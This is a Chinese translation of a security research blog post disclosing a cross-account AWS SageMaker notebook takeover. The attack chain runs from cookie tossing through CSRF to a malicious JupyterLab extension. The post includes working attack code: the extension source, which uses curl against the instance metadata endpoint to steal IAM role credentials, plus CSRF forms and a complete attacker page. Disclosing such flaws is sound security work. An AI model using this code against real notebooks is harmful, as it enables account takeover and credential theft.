原文地址:https://blog.lightspin.io/aws-sagemaker-notebook-takeover-vulnerability
概述
我们发现攻击者可以跨账户在受害者的 SageMaker JupyterLab Notebook 实例上运行任何代码。这意味着攻击者可以访问笔记本实例元数据端点并窃取附加角色的访问令牌。
使用访问令牌,攻击者可以从 S3 存储桶读取数据、创建 VPC 终端节点以及 SageMaker 执行角色和“AmazonSageMakerFullAccess”策略允许的更多操作。
背景
Amazon SageMaker 是一项完全托管的机器学习服务。借助 SageMaker,数据科学家和开发人员可以快速轻松地构建和训练机器学习模型,然后直接将它们部署到生产就绪的托管环境中。
当我们在 AWS SageMaker 中创建笔记本实例时,会创建一个新的 JupyterLab 环境,并在 . notebook.us-east-1.sagemaker.aws父域(其中 us-east-1 可以替换为不同的区域)。通常,唯一的子域将是我们在创建 Notebook Instance 时赋予的名称,但如果子域已经被占用,AWS 会在子域的末尾添加一些随机值。
接下来,我们进入正题。
发现之初--反射型XSS
查看主页的源代码会发现一些位于运行 JupyterLab 应用程序的 VM 上的有趣路径。
查看源代码:https://gafnb.notebook.us-east-1.sagemaker.aws/lab
一个有趣的路径是指向/home/ec2-user/anaconda3/ envs
/JupyterSystemEnv/share/jupyter/lab/static 的 staticDir
我们可以在浏览到时更改其内容并控制正在运行的内容:https ://gafnb.notebook.us-east-1.sagemaker.aws/lab
这显然是一个 XSS - 但它是反射型XSS 🙁
也许这不是那么有用……或者是吗?
获取cookie
正如我在开头提到的,SageMaker 中的所有 JupyterLabs Notebooks 都是在同一个父域下创建的。更具体地说——所有这些都在.sagemaker.aws的子域下。
在这样一个环境中,每个用户在同一个父域下都有自己的子域,看看 cookie 很有趣:
_xsrf cookie 是为整个域设置的。
Cookie 键由元组(名称、域、路径)组成。因此,如果它们具有不同的域或路径,我们可以有 2 个具有相同名称的 cookie。
我决定使用 self XSS 创建一个名为_xsrf 的新cookie,并且域属性将是.sagemaker.aws,因此它将被发送到它的所有子域。
<script type="text/javascript">
document.cookie='_xsrf=1;Domain= .sagemaker.aws';
</script>
/home/ec2-user/anaconda3/envs/JupyterSystemEnv/share/jupyter/lab/static/index.html
然后,这个新的 _xsrf=1 cookie 将被发送到.sagemaker.aws的所有子域,包括我们受害者在 SageMaker JupyterLab 域为
victim-poc-nb.notebook.us-east-1 .sagemaker.aws的不同 AWS 账户上的所有子域。
从XSS到CSRF
因为我现在知道 xsrf 值,所以我可能会获得 CSRF。JupyterLab 服务器通过将xsrf cookie 的值与X-Xsrftoken标头的值进行比较来防止 CSRF 。
我使用打开新终端的 POST 请求测试了 CSRF 机制。
从有效请求开始(如下)
和回应(下):
现在,我尝试删除X-Xsrftoken标头并查看服务器的响应是什么。第一个图像是请求,第二个是服务器的响应。
看起来服务器需要一个 _xsrf 参数。然后我尝试将其添加为请求参数。图像是请求后跟响应。
好的!我们看到我们可以使用 _xsrf 请求参数而不是 X-Xsrftoken 标头。
JupyterLab 服务器是否检查Origin标头值?没有。让我们看看下面的样子(请求,然后是响应)。
好吧,我们现在拥有了利用 CSRF 所需的一切!
我们可以使用 CSRF 在受害者的 JupyterLab 中打开一个新终端,并使用跨源 WebSocket 在受害者的笔记本实例中运行命令。但是还有另一种使用 JupyterLab 扩展的方法。
创建 JupyterLab 扩展
JupyterLab 扩展可以自定义或增强 JupyterLab 的任何部分。它们可以提供新的主题、文件查看器和编辑器,或用于笔记本中丰富输出的渲染器。我们可以创建自己的 JupyterLab 扩展,它可以在受害者的 JupyterLab 实例上做任何我们想做的事情。
让我们看看这可能是什么样子。我决定使用以下代码创建一个扩展并将其包上传到 npm。
import {
JupyterFrontEnd,
JupyterFrontEndPlugin
} from '@jupyterlab/application';
/**
* Initialization data for the mal_jupyter_ext extension.
*/
const plugin: JupyterFrontEndPlugin<void> = {
id: 'mal_jupyter_ext:plugin',
autoStart: true,
activate: (app: JupyterFrontEnd) => {
document.cookie = "_xsrf=1";
var xhr = new XMLHttpRequest;
var terminalUrl = location.origin + "/api/terminals?_xsrf=1";
xhr.open("POST", terminalUrl, true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
var terminal_id = xhr.responseText.split('"')[3];
var wsUrl = "wss://" + location.host + "/terminals/websocket/" + terminal_id;
var ws = new WebSocket(wsUrl);
ws.onopen = function(evt) {
ws.send('["stdin","curl 169.254.169.254/latest/meta-data/iam/security-credentials/BaseNotebookInstanceEc2InstanceRole > SageMaker/token.json\\r"]');
};
}
};
xhr.send();
}
};
export default plugin;
此扩展在受害者的 JupyterLab 中打开一个新终端,并使用 WebSocket 访问 IMDS 端点并提取附加角色的临时凭证。要是有办法让受害者安装我的恶意扩展就好了😉
使用CSRF 安装恶意扩展
要查看扩展支持,我们需要单击设置 -> 启用扩展管理器(实验性)
注意:即使未启用扩展支持,本文中描述的攻击流程仍然可能发生。
启用它将在左侧菜单上添加扩展图标
安装扩展时会发送 HTTP POST 请求:
我可以使用 CSRF 发送这个 POST 请求,在受害者的 JupyterLab 实例上安装我的恶意扩展。
我从一个简单的 CSRF 有效负载开始,它安装了我的恶意扩展名为 mal_jupyter_ex
<html>
<form action="https://gafnb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="_blank">
<input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"mal_jupyter_ex\"}" value="" />
<input type="submit" value="Submit request" />
</form>
</html>
但上述负载的输出请求给出了无效的 JSON 输出。首先显示请求,然后是响应。
我们可以通过将等号作为字符串的一部分插入来修复它。
<html>
<form action="https://gafnb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="_blank">
<input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\" mal_jupyter_ex\",\"" value="\":1}" />
<input type="submit" value="Submit request" />
</form>
</html>
安装新扩展后,需要构建。我们也可以使用 CSRF 来运行构建请求。
实战
在某些浏览器中,默认值仍然是None。但经过一番挖掘,我也找到了一种在 Chrome 上利用它的方法。显然,Chrome 给了我们“ 2 分钟的宽限期”,在此期间,即使在 POST 请求中也会发送 cookie。
注意:Chrome 将在不到 2 分钟前对没有 SameSite 属性的 cookie 设置例外。尽管正常的 SameSite=Lax cookie 要求顶级跨站点请求具有安全(例如 GET)HTTP 方法。
当用户在 AWS 控制台中单击“Open JupyterLab”时,一个 GET 请求将发送到:
https://console.aws.amazon.com/sagemaker/home?region=us-east-1#/notebook-instances/openNotebook/gafnb?view=lab
此 HTTP 请求会触发一个流程,该流程会为匹配的 JupyterLab 生成一个名为authToken的身份验证令牌。令牌被转发到 JupyterLab 域,如果它有效,JupyterLab 应用程序将设置所有会话 cookie。
幸运的是,这是一个 GET 请求,AWS 控制台的 cookie 使用SameSite Lax或None定义,因此我们可以使用 window.open 或来自不同来源的链接来引发此流程。
一旦受害者的浏览器发送了这个请求,cookies就会被重新设置,我有2分钟的时间来完成我的攻击。
总结
攻击者
- 在攻击者的 AWS SageMaker 账户中创建“攻击”笔记本。
我们称它为攻击者-poc-nb
- 假设受害者的笔记本名称是victim-poc-nb,攻击者在攻击笔记本中打开一个终端并替换/home/ec2-user/anaconda3/envs/JupyterSystemEnv/share/jupyter/lab/static/index.html的内容如下:
<html>
<a href="#" onclick="resetCookies()">Start Attack!</a>
<form name="step1" action="https://victim-poc-nb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="frame1">
<input type="hidden" name="{"cmd":"install","extension_name":"mal_jupyter_ex","" value="":1}" />
</form>
<form name="step2" action="https://victim-poc-nb.notebook.us-east-1.sagemaker.aws/lab/api/build?_xsrf=1" method="POST" target="frame2">
</form>
<iframe name="frame1" style="position: absolute;width:0;height:0;border:0;"></iframe>
<iframe name="frame2" style="position: absolute;width:0;height:0;border:0;"></iframe>
<script>
function resetCookies(){
window.open('https://console.aws.amazon.com/sagemaker/home?region=us-east-1#/notebook-instances/openNotebook/victim-poc-nb?view=lab');
setTimeout(function(){ installExtension(); }, 5000);
}
function installExtension(){
document.cookie='_xsrf=1;Domain= .sagemaker.aws';
document.forms["step1"].submit();
setTimeout(function(){ build(); }, 5000);
}
function build(){
document.forms["step2"].submit();
}
</script>
<html>
打开 Burp 的拦截器并从 AWS 控制台打开攻击者-poc-nb笔记本。
复制带有身份验证令牌的 URL 并丢弃请求。
将上一步的链接发送给受害者。该链接指向带有身份验证令牌的攻击者笔记本攻击者-poc-nb 。
受害者
- 已经登录到他们的 AWS 账户
- 点击打开攻击者的attacker-poc-nb的恶意链接
- 单击启动攻击流程的链接/按钮。
- 在后台,一旦受害者点击恶意链接/按钮,就会发送请求安装恶意扩展并重建受害者的 JupyterLab。如果出现“构建失败”错误——没关系。
- 重新打开受害者的笔记本victim-poc-nb(构建可能需要一分钟)。应该有一个 token.json 文件,其中包含附加角色的临时凭据。